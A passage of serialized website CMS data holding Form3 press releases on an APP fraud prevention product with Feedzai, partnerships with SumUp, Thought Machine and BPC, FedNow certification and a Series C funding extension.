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and Feedzai Launch Industry-First APP Fraud Solution for the UK Market","Form3 launches a new, innovative authorised push payment fraud (APP fraud) prevention solution, powered by Feedzai, the market leader in anti-fraud and financial crime software. The new product is the first solution, built using fully supervised machine learning, to leverage collaborative intelligence to understand the behaviour of both the payment sender and recipient, to determine the risk of the payment being made in real-time.",{"dimensions":411,"alt":413,"copyright":5,"url":414,"id":415,"edit":416},{"width":412,"height":412},800,"Form3","\u002F_prismic-media\u002Ffbc6e7a450cdb0fd-jT5-dxAstKJZQFwI_Form3-Resource.png","jT5-dxAstKJZQFwI",{"x":398,"y":398,"zoom":399,"background":400},"2024-03-26",3,"UK","New solution offers PSPs inbound and outbound payment fraud intelligence in one solution for the first time",{"dimensions":422,"alt":425,"copyright":5,"url":426,"id":427,"edit":428},{"width":423,"height":424},2560,802,"Form3 x Feedzai","\u002F_prismic-media\u002Ffee69d6b5c4fdb35-aMx2tdl5slgtXZ25_ZgGkjccYqOFdyEUf.png","aMx2tdl5slgtXZ25",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},"Any",[436,469],{"variation":437,"version":438,"items":439,"primary":440,"id":467,"slice_type":468,"slice_label":5},"default","initial",[],{"body":441},[442,446,449,452,455,458,461,464],{"type":25,"text":443,"spans":444,"direction":445},"Form3, the cloud-native account-to-account platform, today launches a new, innovative authorised push payment fraud (APP fraud) prevention solution, powered by Feedzai, the market leader in anti-fraud and financial crime software. The new product is the first solution, built using fully supervised machine learning, to leverage collaborative intelligence to understand the behaviour of both the payment sender and recipient, to determine the risk of the payment being made in real-time.  ",[],"ltr",{"type":25,"text":447,"spans":448,"direction":445},"Form3’s new APP Fraud Solution works by combining its account-to-account payment processing with Feedzai's fraud and financial crime analytics. This produces a model that is trained to identify risk in both the individual sending the money and the person receiving the money. Understanding who is receiving the money is key to preventing fraud, as APP fraud involves impersonation that manipulates the victim into sending the money.  ",[],{"type":25,"text":450,"spans":451,"direction":445},"This new solution closes the gaps in intelligence that the fraudsters utilise to be able to use faster payments to target UK consumers and businesses. The solution’s model is then able to detect 95% of fraud at market-standard false positive rates.   ",[],{"type":25,"text":453,"spans":454,"direction":445},"Mike Walters, Form3’s CEO, said: “The best way to tackle the rise of APP fraud is the use of collaborative intelligence and cutting edge technologies that allow the real-time identification of scams within the payment message. By bringing together Form3's payment processing expertise, and Feedzai's fraud and financial crime solutions, we can tackle APP fraud so that UK banks can make faster payments safer. Feedzai is the solution provider of choice for two of the top four financial institutions in the UK, so we are partnering with a market leader to combat APP fraud.” ",[],{"type":25,"text":456,"spans":457,"direction":445},"With APP fraud losses accounting for nearly £500m per annum, the solution is timely, as it has been developed on the back of new regulation from the Payment Systems Regulator. This sees victims of APP fraud being refunded by their bank from October 2024, with reimbursement now being the responsibility of both the sending and the receiving institutions.  ",[],{"type":25,"text":459,"spans":460,"direction":445},"Pedro Barata, CPO at Feedzai, adds: “There is increasing regulation in this space, and rightly so – we’ve got to do everything in our power to protect the end consumer from APP fraud. With reimbursement becoming mandatory from October this year, it’s also in the interests of all banks to collectively ensure they prevent fraud and save huge payouts. By combining the expertise of Feedzai and Form3, we can drastically reduce the level of vulnerability in the payment process and give our customers the real-time intelligence that they need to stop fraudsters in their tracks.” ",[],{"type":25,"text":462,"spans":463,"direction":445},"The partnership underscores Form3’s commitment to ‘doing well by doing good’, employing cutting-edge technology to tackle the pervasive issue of fraud, which has profoundly impacted countless individuals worldwide.  ",[],{"type":25,"text":465,"spans":466,"direction":445},"The service will go live in April, with a full rollout in the UK market expected in the summer of 2024 - ahead of the implementation of the new rules in October 2024.",[],"rich_text$b82a0201-bd02-4cc4-aba5-776b1f0d5a87","rich_text",{"variation":437,"version":438,"items":470,"primary":471,"id":494,"slice_type":468,"slice_label":5},[],{"body":472},[473,477,480,483],{"type":474,"text":475,"spans":476},"heading4","About Form3",[],{"type":25,"text":478,"spans":479},"Form3 is the account-to-account payments platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Providing not only gateway services its breadth and depth of solutions extends to fraud prevention, payments orchestration as well as data metrics. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growingfintechs to handle their critical payments architecture. Form3 has been awarded Accel Euroscape 2023 Top 100 Company, Tech of the Future for Banks & Financial Institutions 2023 by the Paytech Awards, Payments Tech of the Year 2023 at the UK Fintech Awards, and Engineering Team of the Year 2023 at the Europe Fintech Awards.",[],{"type":474,"text":481,"spans":482},"About Feedzai",[],{"type":25,"text":484,"spans":485},"Feedzai is the world’s first RiskOps platform, protecting people and payments with a comprehensive suite of AI-based solutions designed to stop fraud and financial crime. Feedzai is trusted by leading financial institutions to manage critical risk and compliance processes, safeguarding trillions of dollars of transactions while improving the customer experience and protecting the privacy of everyday users. For more information, visit feedzai.com.",[486],{"start":487,"end":488,"type":489,"data":490},437,449,"hyperlink",{"link_type":491,"url":492,"target":493},"Web","http:\u002F\u002Ffeedzai.com\u002F","_blank","rich_text$cf03d4b1-331a-478e-95eb-b539fd31c52d",{"id":496,"uid":377,"type":406,"data":497},"alw3mhEAACgAT72h",{"title":378,"excerpt":498,"card_image":499,"published_date":505,"reading_time":506,"tag":379,"dek":507,"featured_image":508,"about_form3":516,"client_about_heading":517,"client_about_body":518,"author_name":5,"author_title":5,"author_photo":522,"author_bio":523,"author_linkedin":524,"slices":525,"meta_title":378,"meta_description":555},"Form3, the secure cloud-native account-to-account global payments platform, announced a significant expansion of its partnership with SumUp, as the global fintech extends its use of Form3’s payments platform to support European payment schemes.",{"dimensions":500,"alt":382,"copyright":5,"url":381,"id":503,"edit":504},{"width":501,"height":502},1200,627,"QA44Gzev0_tdg3ZI",{"x":398,"y":398,"zoom":399,"background":400},"2026-02-25",2,"SumUp extends use of Form3’s platform to SEPA Instant, SEPA Credit Transfer and SEPA Direct Debit.",{"dimensions":509,"alt":512,"copyright":5,"url":513,"id":514,"edit":515},{"width":510,"height":511},2400,770,"SumUp","\u002F_prismic-media\u002Fc956c36832d08ea2-tcHwqbZPRPMAFo2r_SumUp.jpg","tcHwqbZPRPMAFo2r",{"x":398,"y":398,"zoom":399,"background":400},[],"About SumUp",[519],{"type":25,"text":520,"spans":521},"SumUp supports more than 4 million merchants across 37 countries with simple tools for accepting payments and running a business.",[],{},[],{"link_type":434},[526,550,570,584,595],{"variation":437,"version":527,"items":528,"primary":529,"id":548,"slice_type":549,"slice_label":5},"",[],{"eyebrow":5,"heading":530,"body":531,"cta_label":5,"cta_link":532,"aside_type":533,"aside_image":534,"aside_video":535,"aside_video_poster":537,"aside_video_reduced_motion":538,"aside_video_url":5,"aside_embed":539,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":541,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},"Image",{},{"link_type":536},"Media",{},{},{},"Contact (default)",{"link_type":542},"Document","Light","None","Solid color (no gradient)","Right","Top of section","content_block$8a007879-e4b1-4efc-87c6-c94dcd42291f","content_block",{"variation":437,"version":438,"items":551,"primary":552,"id":569,"slice_type":468,"slice_label":5},[],{"body":553},[554,557,560,563,566],{"type":25,"text":555,"spans":556,"direction":445},"Form3, the secure cloud-native account-to-account global payments platform, today announced a significant expansion of its partnership with SumUp, as the global fintech extends its use of Form3’s payments platform to support European payment schemes.",[],{"type":25,"text":558,"spans":559,"direction":445},"SumUp, which supports more than 4 million merchants across 37 countries, has adopted Form3’s platform for European payments including SEPA Instant, SEPA Credit Transfer and SEPA Direct Debit. This builds on SumUp’s existing partnership with Form3 for UK payments, where it already connects to Faster Payments and Bacs, and marks a significant step in delivering faster, more consistent payment experiences for merchants.",[],{"type":25,"text":561,"spans":562,"direction":445},"In line with SumUp’s mission to ensure that all businesses can thrive, this expanded partnership will consolidate multiple payment capabilities through a single provider, simplifying SumUp’s payments infrastructure, reducing operational complexity and enabling merchants to unlock growth across markets.",[],{"type":25,"text":564,"spans":565,"direction":445},"Form3’s platform supports continuous, high-volume payment processing and is designed to meet the evolving requirements of regulated payment environments.",[],{"type":25,"text":567,"spans":568,"direction":445},"Through Form3’s platform, SumUp can continue to add new payment rails and expand into additional markets while maintaining compliance with relevant regulatory requirements. This enables consistent payment services as volumes increase and SumUp continues to expand across regions.",[],"rich_text$67e74a73-69c5-4efb-8179-0d8e40df55a0",{"variation":437,"version":438,"items":571,"primary":572,"id":582,"slice_type":583,"slice_label":5},[],{"quote":573,"attribution_name":580,"attribution_role":581},[574,577],{"type":25,"text":575,"spans":576,"direction":445},"We’re pleased to support SumUp’s European payments, building on our existing UK partnership. As fintechs grow to operate across multiple markets, they need payments infrastructure that is reliable and straightforward to run. Using one platform across regions helps reduce cost and complexity and supports efficient growth.",[],{"type":25,"text":578,"spans":579,"direction":445},"Form3’s platform enables partners like SumUp to expand their payments capabilities without having to make significant changes to their underlying infrastructure or endure complex onboarding processes. This allows them to stay focused on their customers.",[],"Edward Wilde","Chief Technology Officer","pull_quote$96c23103-3892-4297-a411-0ec0cfba6458","pull_quote",{"variation":437,"version":438,"items":585,"primary":586,"id":594,"slice_type":468,"slice_label":5},[],{"body":587},[588],{"type":25,"text":589,"spans":590,"direction":445},"Antoniya Ditsova, Product Lead - Global Bank at SumUp, said: “Our mission is to make business simple for our 4 million merchants. Expanding our partnership with Form3 helps streamline our payments infrastructure and strengthen our access to European payment schemes. This integration allows us to offer SEPA Instant capabilities, ensuring that our customers can move money as fast as they do business. It’s a vital component of our growth as we continue to build the world’s most complete financial toolkit for small businesses.”",[591],{"start":398,"end":592,"type":593},59,"strong","rich_text$7bd54000-05cf-4d0d-a704-0deb5e8e2239",{"variation":437,"version":438,"items":596,"primary":597,"id":632,"slice_type":468,"slice_label":5},[],{"body":598},[599,603,606,609,612,615,618,621,624],{"type":474,"text":475,"spans":600,"direction":445},[601],{"start":398,"end":602,"type":593},11,{"type":25,"text":604,"spans":605,"direction":445},"Form3 is the account-to-account platform. Founded in 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always-on, cloud-native, Payments-as-a-Service platform.",[],{"type":25,"text":607,"spans":608,"direction":445},"Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier 1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been included in the 2025 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe.",[],{"type":25,"text":610,"spans":611,"direction":445},"The company has also been awarded Best Payments-as-a-Service Solution for Banks & FIs at the Fintech Futures Paytech Awards 2025, PayTech Company of the Year at the Fintech Awards London 2025, and the 2025 Celent Model Bank Award, in partnership with Nationwide & Accenture.",[],{"type":474,"text":517,"spans":613,"direction":445},[614],{"start":398,"end":602,"type":593},{"type":25,"text":616,"spans":617,"direction":445},"SumUp is a leading global financial technology company driven by the purpose of levelling the playing field for businesses of all sizes, with the vision of a world where everyone can build a thriving business. ",[],{"type":25,"text":619,"spans":620,"direction":445},"Founded in 2012, SumUp is the financial partner for more than 4 million small merchants in 37 markets worldwide, helping them start, run and grow their business. Coming from the payment space, SumUp today supports its merchants across its main three pillars: payment, POS, and account & card. Through its SuperApp, SumUp can provide merchants with a free business account, merchant cash advance options, an online store, and an invoicing solution – as well as in-person and remote payment acceptance seamlessly integrated with SumUp’s card terminals and point-of-sale registers.",[],{"type":25,"text":622,"spans":623,"direction":445},"SumUp is committed to leveraging its success to make the world a better place, pledging 1% of the net revenue generated by Solo devices to support environmental causes and advocating for educational and entrepreneurial projects around the world. SumUp has been recognised as a Top Global Employer for inclusion by the Stonewall Workplace Equality Index.",[],{"type":25,"text":625,"spans":626,"direction":445},"For more information, please visit https:\u002F\u002Fwww.sumup.com\u002Fen-gb  ",[627],{"start":628,"end":629,"type":489,"data":630},35,63,{"link_type":491,"url":631,"target":493},"https:\u002F\u002Fwww.sumup.com\u002Fen-gb\u002F","rich_text$c10a3602-d6f4-4a0e-8032-f53d42d15786",{"id":634,"uid":635,"type":406,"data":636},"alw3xREAACsAT757","thought-machine-partners-with-form3",{"title":637,"excerpt":638,"card_image":639,"published_date":642,"reading_time":643,"tag":55,"dek":5,"featured_image":644,"about_form3":651,"client_about_heading":5,"client_about_body":652,"author_name":5,"author_title":5,"author_photo":653,"author_bio":654,"author_linkedin":655,"slices":656,"meta_title":637,"meta_description":638},"Thought Machine partners with Form3 to bring real-time payment technology to the US and European markets","Thought Machine, the cloud-native banking technology company, today announces it has partnered with Form3, the cloud-native account-to-account platform, to add FedNow, TCH RTP and SEPA Instant Credit Transfer connectivity to Thought Machine’s payment platform, Vault Payments. This partnership brings together two next-generation payment solutions, offering banks and financial institutions an end-to-end solution for seamless real-time payment processing.",{"dimensions":640,"alt":413,"copyright":5,"url":414,"id":415,"edit":641},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-10-23",5,{"dimensions":645,"alt":5,"copyright":5,"url":647,"id":648,"edit":649},{"width":501,"height":646},669,"\u002F_prismic-media\u002Ff1946ed5fe3d2659-IpORBHs-8KHCvhP2_567cdedf-54dc-4484-a043-0a28c93.jpg","IpORBHs-8KHCvhP2",{"x":398,"y":398,"zoom":399,"background":650},"#ffffff",[],[],{},[],{"link_type":434},[657,695],{"variation":437,"version":438,"items":658,"primary":659,"id":694,"slice_type":468,"slice_label":5},[],{"body":660},[661,663,666,669,672,675,678,681,686,691],{"type":25,"text":638,"spans":662},[],{"type":25,"text":664,"spans":665},"Thought Machine’s Vault Payments is a cloud-native and API-enabled platform designed to simplify payment processing for banks. Its Universal Payment Engine processes all payment types and seamlessly integrates with any method, scheme or region globally, granting total payment orchestration control with unparalleled customisation of payment flows.",[],{"type":25,"text":667,"spans":668},"This partnership streamlines payment processing for banks and financial institutions by offering a comprehensive end-to-end payment processing solution. Through the integration of Vault Payments with Form3's account-to-account platform, clients can harness the powerful configuration capabilities of Thought Machine, in conjunction with Form3's direct connections to various payment schemes.",[],{"type":25,"text":670,"spans":671},"Both Thought Machine and Form3 have built their platforms using cloud-native technologies, guaranteeing reliability, scalability, performance and disaster recovery as core capabilities. ",[],{"type":25,"text":673,"spans":674},"Additionally, both platforms natively support ISO 20022 messaging standards, eliminating the resource-intensive migration process for banks. ISO 20022's data richness and standardisation enables streamlined processing, enhanced analytics, improved regulatory reporting, and ultimately, superior customer experiences.",[],{"type":25,"text":676,"spans":677},"In 2022, global real-time transaction volumes soared by more than 60% yearly, reaching a record high. However, legacy systems can prevent banks and fintechs from fully leveraging new real-time schemes. Legacy systems can be difficult to integrate with real-time technologies and can lack compliance with ISO 20022 standards.",[],{"type":25,"text":679,"spans":680},"Thought Machine is entering the US payment market to meet the strong demand from financial institutions seeking modern, real-time payment systems. This demand has grown since the launch of FedNow in July 2023, which is set to revolutionise the US money transfer market. ",[],{"type":25,"text":682,"spans":683},"Paul Taylor, founder and CEO of Thought Machine, commented: \"We are delighted to partner with Form3, marking a significant step towards realising our vision of a truly Universal Payment Engine. As real-time payments become the new standard, our combined expertise ensures financial institutions are equipped with cutting-edge, cloud-native technologies. Together, we are shaping the future of payments.\"",[684],{"start":398,"end":685,"type":593},60,{"type":25,"text":687,"spans":688},"Mike Walters, Form3 CEO, said: “We are very pleased to be working with Thought Machine, to provide leading banks and financial institutions with a fully-rounded, multi-cloud solution for their real-time payments needs. This partnership brings together two best-in-class cloud technology providers, working in a changing payments landscape, highlighted by the introduction of the FedNow Service and the new ISO 20022 messaging standards.”",[689],{"start":398,"end":690,"type":593},31,{"type":25,"text":692,"spans":693},"Founded in 2014 by Paul Taylor, Thought Machine has gained global recognition for its cloud-native core banking platform, Vault Core. Global Tier 1 banks, including Standard Chartered, Lloyds Banking Group and Intesa Sanpaolo, and regional institutions such as Arvest Bank and Mascoma Bank, have all adopted and deployed Vault Core. Challenger banks and fintechs, including M1, C6 Bank and HMBradley, are clients of Thought Machine, using its technology to deliver pioneering innovation in the market. ",[],"rich_text$30907035-e19c-44bf-ab18-190299a83bed",{"variation":437,"version":438,"items":696,"primary":697,"id":718,"slice_type":468,"slice_label":5},[],{"body":698},[699,704,712,715],{"type":25,"text":700,"spans":701},"About Thought Machine",[702],{"start":398,"end":703,"type":593},21,{"type":25,"text":705,"spans":706},"Thought Machine has developed the foundations of modern banking with its cloud-native core banking and payments technology. Its cloud-native core banking platform, Vault Core, is trusted by leading banks and financial institutions worldwide, including Intesa Sanpaolo, ING Bank Śląski, Lloyds Banking Group, Standard Chartered, SEB, Lunar, Atom bank, Curve, and more. Vault Payments is a cloud-native payments processing platform – comprising a Universal Payments Engine to support all card and account-to-account payment types. Vault Core and Vault Payments have been written from scratch as an entirely cloud-native system and give banks full control to build any product required to flourish in a rapidly changing world. Thought Machine is a global team spread across offices in London, New York, Singapore, and Sydney and has raised more than $500m in funding. For more information, visit thoughtmachine.net ",[707],{"start":708,"end":709,"type":489,"data":710},892,911,{"link_type":491,"url":711},"http:\u002F\u002Fthoughtmachine.net\u002F",{"type":25,"text":475,"spans":713},[714],{"start":398,"end":602,"type":593},{"type":25,"text":716,"spans":717},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s and the US’s biggest tier one banks and global financial institutions to handle their critical payments architecture. Form3 has been awarded Accel Euroscape 2023 Top 100 Company, Tech of the Future for Banks & Financial Institutions 2023 by the Paytech Awards, Payments Tech of the Year 2023 at the UK Fintech Awards, and Engineering Team of the Year 2023 at the Europe Fintech Awards.",[],"rich_text$7e3d9b21-4082-4803-acd9-c0769a17492a",{"id":720,"uid":721,"type":406,"data":722},"alw3zxEAACoAT76w","certification-for-federal-reserves-new-instant-payment-service",{"title":723,"excerpt":724,"card_image":725,"published_date":728,"reading_time":506,"tag":729,"dek":5,"featured_image":730,"about_form3":735,"client_about_heading":5,"client_about_body":736,"author_name":5,"author_title":5,"author_photo":737,"author_bio":738,"author_linkedin":739,"slices":740,"meta_title":723,"meta_description":750},"Form3 Completes Certification for Federal Reserve’s New Instant Payment Service","Form3 announced that is among the first in the industry to complete testing and certification for the FedNowSM Service, the Federal Reserve’s new instant payment offering that launched on July 20, 2023.",{"dimensions":726,"alt":413,"copyright":5,"url":414,"id":415,"edit":727},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-07-26","US",{"dimensions":731,"alt":5,"copyright":5,"url":732,"id":733,"edit":734},{"width":501,"height":646},"\u002F_prismic-media\u002F5317eec142b8e38c-jifOw8wBQIJSgkZy_5471670d-bda8-4709-a607-6f0303e.png","jifOw8wBQIJSgkZy",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[741,795],{"variation":437,"version":438,"items":742,"primary":743,"id":794,"slice_type":468,"slice_label":5},[],{"body":744},[745,749,757,760,769,772,775,778,786],{"type":746,"text":747,"spans":748},"heading2","Safe and efficient instant payment services in real time",[],{"type":25,"text":750,"spans":751},"Form3, the cloud-native account-to-account platform, today announced that is among the first in the industry to complete testing and certification for the FedNowSM Service, the Federal Reserve’s new instant payment offering that launched on July 20, 2023.",[752],{"start":753,"end":754,"type":489,"data":755},155,171,{"link_type":491,"url":756,"target":493},"https:\u002F\u002Fwww.frbservices.org\u002Fnews\u002Fpress-releases\u002F072023-fednow-live-announcement",{"type":25,"text":758,"spans":759},"The FedNow Service is the Federal Reserve’s new instant payment platform, which will provide financial institutions of every size, and in any location across the nation, access to safe and efficient instant payment services in real time, 24 hours a day. The launch of the FedNow Service marks a significant step forward in the US payments landscape, providing substantial benefits for consumers and businesses, such as rapid access to funds and managing cash flows. ",[],{"type":25,"text":761,"spans":762},"“We are excited that early adopters of all sizes across the country are making strides in their operational readiness for live transactions through the system,” said Ken Montgomery, Federal Reserve Bank of Boston first vice president and FedNow Service program executive. “Completing certification is a key milestone for participating organizations to validate their ability to deliver instant payment services.\"",[763,766],{"start":398,"end":764,"type":765},160,"em",{"start":767,"end":768,"type":765},272,412,{"type":25,"text":770,"spans":771},"To achieve certification, Form3 met the requirements of the FedNow Service testing program and attested that it is prepared to meet the requirements to successfully operate in a 24x7x365 instant payments environment. Form3 has also participated in the FedNow Service Pilot Program since July 2022.",[],{"type":25,"text":773,"spans":774},"Form3's enterprise-grade, managed, payment technology platform is available to help early adopters connect to the FedNow Service, offering banks and financial service providers in the US the opportunity to take the next step on their journey by expanding their reach and product range.",[],{"type":25,"text":776,"spans":777},"Form3’s innovative and industry-leading approach to backend payment technology is built on the company’s deep experience of the instant payment industry in Europe. Form3 has been working with leading banks and financial institutions in the UK on the Faster Payments System (FPS) network since 2016.  ",[],{"type":25,"text":779,"spans":780},"Form3's scheme-agnostic API will help to drive the broader roll-out of instant payments in the US. Form3's instant payments simulator is available for banks and financial service providers to use to test out instant payments, ensuring a seamless onboarding process to institutions that want to connect to the FedNow Service and TCH RTP.",[781],{"start":782,"end":783,"type":489,"data":784},107,133,{"link_type":491,"url":785,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Flanding\u002Fsandbox-testing-for-rtp-and-fednow-in-2023",{"type":25,"text":787,"spans":788},"\"We are delighted to have achieved certification for the FedNow Service, marking yet more progress on Form3's journey to becoming the premier provider of US payment gateway connectivity,\" said Dave Scola, US Chief Executive, Form3. “Our scale and experience in mature instant payment markets such as the UK means we are the perfect partner for US banks and financial service providers that want to move on to the next stage in their growth.”",[789,791],{"start":398,"end":790,"type":765},187,{"start":792,"end":793,"type":765},232,441,"rich_text$fc99ce65-6fd7-4a2a-ac98-041ea410bdae",{"variation":437,"version":438,"items":796,"primary":797,"id":804,"slice_type":468,"slice_label":5},[],{"body":798},[799,801],{"type":474,"text":475,"spans":800},[],{"type":25,"text":802,"spans":803},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Payments Innovation of the Year 2022 by Payments Awards, Most Innovative Mobile or Financial Service Payments Solution 2022 by PAY360 Awards, Payments Innovation of the Year 2022 by FSTech Awards and was shortlisted as Diversity Champion of the Year 2022 run by British Diversity Awards.",[],"rich_text$2c4b742c-d3dc-46a2-8748-45d88fbb44db",{"id":806,"uid":807,"type":406,"data":808},"alw3tBEAACoAT74l","form3-series-c-extension",{"title":809,"excerpt":810,"card_image":811,"published_date":814,"reading_time":506,"tag":815,"dek":816,"featured_image":817,"about_form3":823,"client_about_heading":5,"client_about_body":824,"author_name":5,"author_title":5,"author_photo":825,"author_bio":826,"author_linkedin":827,"slices":828,"meta_title":809,"meta_description":810},"Form3 Successfully Completes $60m Series C Extension, with New Investment from British Patient Capital and Existing Shareholders","Form3 announces a new investor, British Patient Capital. Alongside existing strategic and financial investors including Visa, Form3 has now raised a total of $60m in C-series extension funding to continue its growth journey.",{"dimensions":812,"alt":413,"copyright":5,"url":414,"id":415,"edit":813},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2024-09-10","Fundraising","New investment will enable Form3 to continue its growth journey, develop new products and services, and expand into new territories",{"dimensions":818,"alt":819,"copyright":5,"url":820,"id":821,"edit":822},{"width":423,"height":424},"British Patient Capital","\u002F_prismic-media\u002F1fb29f6ca5aeaaa4-QDXkOij0fsLuC3iX_Ztb0_7zzk9ZrW6n2_Form3_BPC_Bann.png","QDXkOij0fsLuC3iX",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[829,857],{"variation":437,"version":438,"items":830,"primary":831,"id":856,"slice_type":468,"slice_label":5},[],{"body":832},[833,836,839,842,850],{"type":25,"text":834,"spans":835,"direction":445},"Form3, the cloud-native account-to-account platform, today announces a new investor, British Patient Capital. Alongside existing strategic and financial investors including Visa, Form3 has now raised a total of $60m in C-series extension funding to continue its growth journey.",[],{"type":25,"text":837,"spans":838,"direction":445},"This funding will enable Form3 to develop new products and services to help support exponential growth in key markets such as the UK, Europe and the US.",[],{"type":25,"text":840,"spans":841,"direction":445},"Benyam Hagos, Chief Financial Officer, Form3 says: “British Patient Capital’s investment enables Form3 to continue to deliver mission-critical infrastructure technology for the world’s most established banks and financial institutions.”",[],{"type":25,"text":843,"spans":844,"direction":445},"Today's funding announcement follows Visa’s recent investment in Form3 and its cloud-native account-to-account platform. Form3’s vision for the future of next-generation payments infrastructure is supported by major strategic players, including Visa.",[845],{"start":846,"end":847,"type":489,"data":848},37,70,{"link_type":491,"url":849,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpress-releases\u002Fvisa-invests-in-form3-reducing-fraud-and-increasing-operational-efficiency",{"type":25,"text":851,"spans":852,"direction":445},"Tom Haywood, Managing Director, Direct Investments, British Patient Capital, said: “Form3 has built a leading solution for a challenge that banks worldwide are facing: how to transition to a modern, future-proof payments infrastructure. We are delighted to support them as they take the next steps in their growth journey”.     ",[853],{"start":854,"end":855,"type":593},76,77,"rich_text$93ab80e4-6cae-463b-91f2-82c5d1257194",{"variation":437,"version":438,"items":858,"primary":859,"id":894,"slice_type":468,"slice_label":5},[],{"body":860},[861,864,867,872,880,888,891],{"type":25,"text":475,"spans":862,"direction":445},[863],{"start":398,"end":602,"type":593},{"type":25,"text":865,"spans":866,"direction":445},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionize the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of the UK’s and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been included in the 2024 Lazard T100 Index and was listed in the 2024 Top 100 Scale-ups in Europe. The company has also been awarded PayTech of the Year and Team of the Year for Form3’s Engineering Team at the UK Fintech Awards 2024, Team of the Year at the Paytech Awards 2024, Engineering Team of the Year at the Europe Fintech Awards 2024 and Best Scam\u002FAPP Prevention Innovation at the Datos Insights Impact Awards 2024.",[],{"type":25,"text":868,"spans":869,"direction":445},"About British Patient Capital",[870],{"start":398,"end":871,"type":593},29,{"type":25,"text":873,"spans":874,"direction":445},"British Patient Capital Limited is a wholly owned commercial subsidiary of British Business Bank plc, the UK government’s economic development bank. Its mission is to enable long-term investment in innovative firms led by ambitious entrepreneurs who want to build large-scale businesses. Launched in June 2018, British Patient Capital has more than £3bn of assets under management, investing in venture and venture growth capital to support high growth potential innovative UK businesses in accessing the long-term financing they require to scale up. Find out more here.",[875],{"start":876,"end":877,"type":489,"data":878},551,569,{"link_type":491,"url":879,"target":493},"http:\u002F\u002Fwww.britishpatientcapital.co.uk\u002F",{"type":25,"text":881,"spans":882,"direction":445}," British Business Bank plc and its subsidiary entities are not banking institutions and do not operate as such. They are not authorised or regulated by the Prudential Regulation Authority (PRA) or the Financial Conduct Authority (FCA). A complete legal structure chart for British Business Bank plc and its subsidiaries can be found on the British Business Bank plc website.",[883],{"start":884,"end":885,"type":489,"data":886},340,373,{"link_type":491,"url":887,"target":493},"https:\u002F\u002Fwww.british-business-bank.co.uk\u002Fcorporate-information\u002F",{"type":25,"text":889,"spans":890,"direction":445},"British Patient Capital makes commitments and invests on its own behalf and on behalf of third-party investors whose investments British Patient Capital manages.",[],{"type":25,"text":892,"spans":893,"direction":445},"The transaction described above does not constitute or imply any endorsement, warranty or recommendation by the UK government, the British Business Bank plc, its subsidiaries or any other party in respect of Form3.\n",[],"rich_text$cd79548a-0546-4467-804c-d78185d8d062",{"id":896,"uid":897,"type":406,"data":898},"alw4ExEAACcAT8An","form3-and-bpc-announce-partnership-to-combine-expertise",{"title":899,"excerpt":900,"card_image":901,"published_date":904,"reading_time":905,"tag":55,"dek":906,"featured_image":907,"about_form3":908,"client_about_heading":5,"client_about_body":909,"author_name":5,"author_title":5,"author_photo":910,"author_bio":911,"author_linkedin":912,"slices":913,"meta_title":899,"meta_description":900},"Form3 and BPC announce partnership to combine expertise in cloud-based payments processing solution","BPC, a leading payments provider to financial services companies and Form3, a cloud-native payments provider, have announced a partnership to deliver a complete cloud-based payments solution. The solution will cover origination, processing, clearing and settlement.",{"dimensions":902,"alt":413,"copyright":5,"url":414,"id":415,"edit":903},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2019-06-13",10,"The solution will cover origination, processing, clearing and settlement. The partnership has already successfully delivered UK Faster Payments, CHAPS, BACs and SEPA services to a well-known payments’ provider. The partnership fits within BPC’s CloudiT strategy, which is BPC’s Payments as a Service offering. It enables customers who do not want to invest in infrastructure and other resources to deploy their required market solutions, turning their payments vision into reality quickly, cost-effectively and virtually risk-free.",{},[],[],{},[],{"link_type":434},[914,924],{"variation":437,"version":438,"items":915,"primary":916,"id":923,"slice_type":583,"slice_label":5},[],{"quote":917,"attribution_name":921,"attribution_role":922},[918],{"type":25,"text":919,"spans":920},"“BPC’s expertise and portfolio of systems and clients complements the Form3 platform perfectly in meeting demand for instant payments through a single API. Customers wanting a fully managed end-to-end payments solution can now benefit from our partnership with BPC, linking both services in one market offering, removing the need to ‘go out to market’ to find a provider.”",[],"Michael Mueller","Executive Chair","pull_quote$0ce713ef-6a5d-4938-9f1f-a2407f3a2925",{"variation":437,"version":438,"items":925,"primary":926,"id":931,"slice_type":468,"slice_label":5},[],{"body":927},[928],{"type":25,"text":929,"spans":930},"Peter Theunis, BPC’s Managing Director Europe, commented: “BPC is delighted to be working with Form3. In the field of cloud payments the company combines an impressive track record with a fresh approach and exceptionally fast implementation. Their payment services are part of our wider CloudiT strategy for SaaS and payments processing for our 